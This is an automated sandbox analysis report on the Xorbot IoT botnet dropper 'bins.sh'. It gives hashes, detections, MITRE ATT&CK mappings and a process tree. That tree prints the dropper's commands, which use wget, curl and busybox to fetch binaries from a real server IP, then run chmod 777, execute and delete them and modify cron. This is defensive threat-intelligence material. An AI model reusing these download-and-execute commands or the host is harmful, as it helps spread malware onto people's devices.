xorbot | 6f8f9e04cd9bc383e8a1c96b8b0c648aedc109e7783fb213532c4ce4ff1622e6

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30-11-2024 18:15

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General

Target

bins.sh
Size

10KB
MD5

ec0ffe14fe481a8c4f08e2dd622a8fb3
SHA1

966e9859553fbe5400c8eba0f02018b78f434149
SHA256

6f8f9e04cd9bc383e8a1c96b8b0c648aedc109e7783fb213532c4ce4ff1622e6
SHA512

73a6817a4345934e3d0ccb4e464d1270255fa4cfc0dd70797f97e0145e2a9b02c2bb68443fd3d29f6caaa50d391ede9391e360bce3990576ce084d9c06ef376a
SSDEEP

96:cNpnbyyvRn3n6epNYYWBl+bTX7WzWHW3WsWEWAeTDHeTDHwWzWHW3WsWEWVQyYnR:cNpnbyyvTRbTX6jjNpnbyyXB

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-10.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1643) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
864	chmod
731	chmod
738	chmod
759	chmod

Executes dropped EXE 4 IoCs

Processes:

4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhbFAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPvJCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm

ioc	pid	Process
/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	732	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	739	7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
/tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv	761	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
/tmp/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm	866	JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm

Renames itself 1 IoCs

Processes:

FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv

pid	Process
762	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.TigEAI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv

description	ioc	Process
File opened for reading	/proc/786/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/793/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/814/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/921/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/982/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/788/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/851/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/855/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/965/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/776/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/805/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/842/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/846/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/775/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/778/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/784/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/828/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/834/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/854/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/1/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/69/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/105/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/900/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/968/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/692/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/850/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/377/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/822/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/866/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/870/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/890/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/990/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/3/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/334/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/704/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/847/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/902/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/939/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/11/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/387/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/819/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/837/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/849/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/877/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/1000/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/8/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/770/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/830/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/853/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/893/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/981/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/984/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/773/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/813/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/848/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/886/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/912/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/818/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/859/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/920/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/970/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/235/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/883/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
File opened for reading	/proc/930/cmdline	FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetbusyboxwgetcurlcurlbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	wget
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	curl
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	busybox
File opened for modification	/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	wget
File opened for modification	/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	busybox
File opened for modification	/tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv	wget
File opened for modification	/tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv	curl
File opened for modification	/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb	curl
File opened for modification	/tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv	busybox
File opened for modification	/tmp/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  ./4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Executes dropped EXE
  PID:732
- /bin/rm
  rm 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  PID:734
- /usr/bin/wget
  wget http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  ./7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm 7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  2⤵
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod 777 FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  ./FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:761
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:763
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:764
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:766
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:767
- /bin/rm
  rm FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv
  2⤵
  PID:770
- /usr/bin/wget
  wget http://216.126.231.240/bins/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
  2⤵
  PID:856
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
  2⤵
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
  ./JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm
  2⤵
  PID:869
- /usr/bin/wget
  wget http://216.126.231.240/bins/61DFOY4e9MmK7eHuQn5dlnNlrsLhyRwbm9
  2⤵
  PID:870

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/FAIH8XzMcszYuRjZlAoOfNh1dt7zZCtQPv

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/JCMMfKTSb7uLzr2apLIdHhz1aUd28CiUYm

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/var/spool/cron/crontabs/tmp.TigEAI

Filesize
210B

MD5
4cc2d9946628cf23789c3214a37490f9

SHA1
2f72ec7875ba022a4b1c00fc004086837978c733

SHA256
b2c14276ee5fca87e369e7506229855d98a36e2457800345787e0c77594a33ce

SHA512
f946900e1129da126b9bf22f2c6de8c474b7e10b8e0a1ec4d9b19b128b5e3146bcc630f53ded2c0ce9c3180247f0de6d7e2770f4aa2b928a57b005abe720bdeb

Download Submit